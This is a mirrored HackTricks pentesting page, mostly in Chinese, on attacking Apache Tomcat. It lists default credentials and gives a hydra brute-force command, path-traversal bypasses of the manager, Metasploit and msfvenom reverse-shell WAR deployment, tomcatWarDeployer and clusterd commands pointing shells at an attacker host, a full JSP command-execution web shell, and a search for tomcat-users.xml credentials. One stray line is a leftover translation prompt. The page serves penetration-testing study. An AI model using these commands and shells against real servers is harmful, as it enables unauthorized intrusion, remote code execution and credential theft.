mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
237 lines
8.5 KiB
Markdown
237 lines
8.5 KiB
Markdown
# Tomcat
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Discovery
|
||
|
||
- 它通常运行在 **port 8080**
|
||
- **常见的 Tomcat 错误：**
|
||
|
||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Enumeration
|
||
|
||
### **版本识别**
|
||
|
||
要查找 Apache Tomcat 的版本，可以执行一个简单的命令：
|
||
```bash
|
||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||
```
|
||
这将搜索文档索引页面中的“Tomcat”一词，揭示HTML响应中标题标签中的版本。
|
||
|
||
### **管理文件位置**
|
||
|
||
确定**`/manager`**和**`/host-manager`**目录的确切位置至关重要，因为它们的名称可能会被更改。建议进行暴力搜索以定位这些页面。
|
||
|
||
### **用户名枚举**
|
||
|
||
对于6之前的Tomcat版本，可以通过以下方式枚举用户名：
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_enum
|
||
```
|
||
### **默认凭据**
|
||
|
||
**`/manager/html`** 目录特别敏感，因为它允许上传和部署 WAR 文件，这可能导致代码执行。该目录受到基本 HTTP 身份验证的保护，常见凭据包括：
|
||
|
||
- admin:admin
|
||
- tomcat:tomcat
|
||
- admin:
|
||
- admin:s3cr3t
|
||
- tomcat:s3cr3t
|
||
- admin:tomcat
|
||
|
||
可以使用以下方式测试这些凭据：
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||
```
|
||
另一个显著的目录是 **`/manager/status`**，它显示了 Tomcat 和操作系统版本，有助于识别漏洞。
|
||
|
||
### **暴力攻击**
|
||
|
||
要对管理目录进行暴力攻击，可以使用：
|
||
```bash
|
||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||
```
|
||
Along with setting various parameters in Metasploit to target a specific host.
|
||
|
||
## Common Vulnerabilities
|
||
|
||
### **密码回溯泄露**
|
||
|
||
在幸运的情况下，访问 `/auth.jsp` 可能会在回溯中泄露密码。
|
||
|
||
### **双重 URL 编码**
|
||
|
||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重 URL 编码路径遍历，通过特制的 URL 实现对管理界面的未经授权访问。
|
||
|
||
要访问 Tomcat 的管理网页，请前往： `pathTomcat/%252E%252E/manager/html`
|
||
|
||
### /examples
|
||
|
||
Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本 (XSS) 攻击影响的示例脚本。这些脚本列出得很全面，应检查是否存在未经授权的访问和潜在的利用。查找 [更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||
|
||
- /examples/jsp/num/numguess.jsp
|
||
- /examples/jsp/dates/date.jsp
|
||
- /examples/jsp/snp/snoop.jsp
|
||
- /examples/jsp/error/error.html
|
||
- /examples/jsp/sessions/carts.html
|
||
- /examples/jsp/checkbox/check.html
|
||
- /examples/jsp/colors/colors.html
|
||
- /examples/jsp/cal/login.html
|
||
- /examples/jsp/include/include.jsp
|
||
- /examples/jsp/forward/forward.jsp
|
||
- /examples/jsp/plugin/plugin.jsp
|
||
- /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||
- /examples/jsp/simpletag/foo.jsp
|
||
- /examples/jsp/mail/sendmail.jsp
|
||
- /examples/servlet/HelloWorldExample
|
||
- /examples/servlet/RequestInfoExample
|
||
- /examples/servlet/RequestHeaderExample
|
||
- /examples/servlet/RequestParamExample
|
||
- /examples/servlet/CookieExample
|
||
- /examples/servlet/JndiServlet
|
||
- /examples/servlet/SessionExample
|
||
- /tomcat-docs/appdev/sample/web/hello.jsp
|
||
|
||
### **路径遍历漏洞**
|
||
|
||
在某些 [**易受攻击的 Tomcat 配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中，您可以使用路径 `/..;/` 访问 Tomcat 中受保护的目录。
|
||
|
||
因此，例如，您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问 Tomcat 管理员** 页面。
|
||
|
||
**另一种方法** 是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
|
||
|
||
## RCE
|
||
|
||
最后，如果您可以访问 Tomcat Web 应用程序管理器，您可以 **上传并部署 .war 文件（执行代码）**。
|
||
|
||
### 限制
|
||
|
||
您只能在拥有 **足够权限**（角色：**admin**、**manager** 和 **manager-script**）的情况下部署 WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到，通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`（不同版本之间可能有所不同）（请参见 [POST ](#post) 部分）。
|
||
```bash
|
||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||
|
||
# deploy under "path" context path
|
||
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||
|
||
# undeploy
|
||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||
```
|
||
### Metasploit
|
||
```bash
|
||
use exploit/multi/http/tomcat_mgr_upload
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||
```
|
||
### MSFVenom 反向 Shell
|
||
|
||
1. 创建要部署的 war：
|
||
```bash
|
||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
|
||
```
|
||
2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):
|
||
|
||
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
|
||
|
||
在某些情况下，这可能不起作用（例如旧版本的 sun）
|
||
|
||
#### 下载
|
||
```bash
|
||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||
```
|
||
#### 反向 shell
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||
```
|
||
#### 绑定 shell
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||
```
|
||
### 使用 [Culsterd](https://github.com/hatRiot/clusterd)
|
||
```bash
|
||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||
```
|
||
### 手动方法 - Web shell
|
||
|
||
创建 **index.jsp**，并使用此 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||
```java
|
||
<FORM METHOD=GET ACTION='index.jsp'>
|
||
<INPUT name='cmd' type=text>
|
||
<INPUT type=submit value='Run'>
|
||
</FORM>
|
||
<%@ page import="java.io.*" %>
|
||
<%
|
||
String cmd = request.getParameter("cmd");
|
||
String output = "";
|
||
if(cmd != null) {
|
||
String s = null;
|
||
try {
|
||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||
BufferedReader sI = new BufferedReader(new
|
||
InputStreamReader(p.getInputStream()));
|
||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||
} catch(IOException e) { e.printStackTrace(); }
|
||
}
|
||
%>
|
||
<pre><%=output %></pre>
|
||
```
|
||
|
||
```bash
|
||
mkdir webshell
|
||
cp index.jsp webshell
|
||
cd webshell
|
||
jar -cvf ../webshell.war *
|
||
webshell.war is created
|
||
# Upload it
|
||
```
|
||
您还可以安装此程序（允许上传、下载和命令执行）：[http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||
|
||
### 手动方法 2
|
||
|
||
获取一个 JSP web shell，例如 [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个 WAR 文件：
|
||
```bash
|
||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||
zip -r backup.war cmd.jsp
|
||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||
```
|
||
## POST
|
||
|
||
Tomcat 凭据文件的名称是 `tomcat-users.xml`，该文件指示用户在 tomcat 中的角色。
|
||
```bash
|
||
find / -name tomcat-users.xml 2>/dev/null
|
||
```
|
||
请提供需要翻译的内容。
|
||
```xml
|
||
[...]
|
||
<!--
|
||
By default, no user is included in the "manager-gui" role required
|
||
to operate the "/manager/html" web application. If you wish to use this app,
|
||
you must define such a user - the username and password are arbitrary.
|
||
|
||
Built-in Tomcat manager roles:
|
||
- manager-gui - allows access to the HTML GUI and the status pages
|
||
- manager-script - allows access to the HTTP API and the status pages
|
||
- manager-jmx - allows access to the JMX proxy and the status pages
|
||
- manager-status - allows access to the status pages only
|
||
-->
|
||
[...]
|
||
<role rolename="manager-gui" />
|
||
<user username="tomcat" password="tomcat" roles="manager-gui" />
|
||
<role rolename="admin-gui" />
|
||
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
|
||
```
|
||
## 其他 Tomcat 扫描工具
|
||
|
||
- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||
|
||
## 参考文献
|
||
|
||
- [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||
- [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|